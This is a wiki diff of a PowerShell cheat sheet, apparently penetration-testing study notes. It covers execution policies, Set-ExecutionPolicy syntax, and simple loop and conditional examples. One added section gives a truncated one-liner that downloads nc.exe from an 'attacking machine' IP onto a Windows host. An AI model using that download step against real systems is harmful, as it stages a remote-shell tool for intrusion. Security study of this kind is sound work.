cheat_sheets_ps
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
cheat_sheets_ps [2022/11/20 22:02] – gman | cheat_sheets_ps [2022/12/29 23:43] (current) – gman | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Windows PowerShell ====== | ====== Windows PowerShell ====== | ||
- | **Example: For Loop** | + | ===== Execution Policies ===== |
+ | |||
+ | PowerShell (PS) execution policies determine your authorization to execute PS scripts or not: | ||
+ | - **Restricted: | ||
+ | - **AllSigned: | ||
+ | - **RemoteSigned: | ||
+ | - Allows any PS script written on the local machine. | ||
+ | - But requires downloaded scripts to be signed by a trusted publisher. | ||
+ | - **Unrestricted: | ||
+ | - **Bypass:** Allows any and all PS scripts. Have at it! | ||
+ | |||
+ | Syntax for changing the PowerShell execution policy: | ||
+ | |||
+ | < | ||
+ | Set-ExecutionPolicy [name] | ||
+ | # Example: | ||
+ | Set-ExecutionPolicy RemoteSigned | ||
+ | </ | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===== Example Code ===== | ||
+ | |||
+ | ==== One-Liner Download ==== | ||
+ | |||
+ | A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C: | ||
+ | |||
+ | < | ||
+ | (New-Object System.Net.WebClient).DownloadFile(" | ||
+ | </ | ||
+ | |||
+ | ==== For Loop ==== | ||
< | < | ||
Line 16: | Line 47: | ||
{ | { | ||
Write-Host "The value of var is: $var" | Write-Host "The value of var is: $var" | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | ==== Conditional Stmt ==== | ||
+ | |||
+ | < | ||
+ | $a = 2 | ||
+ | if ( $a -gt 2 ) | ||
+ | { | ||
+ | Write-Host "The value $a is greater than 2." | ||
+ | } | ||
+ | elseif ( $a -eq 2 ) | ||
+ | { | ||
+ | Write-Host "The value $a is equal to 2." | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | Write-Host ( "The value of $a is less than 2" + " or was not created or initialized." | ||
} | } | ||
</ | </ |
cheat_sheets_ps.1668981728.txt.gz · Last modified: by gman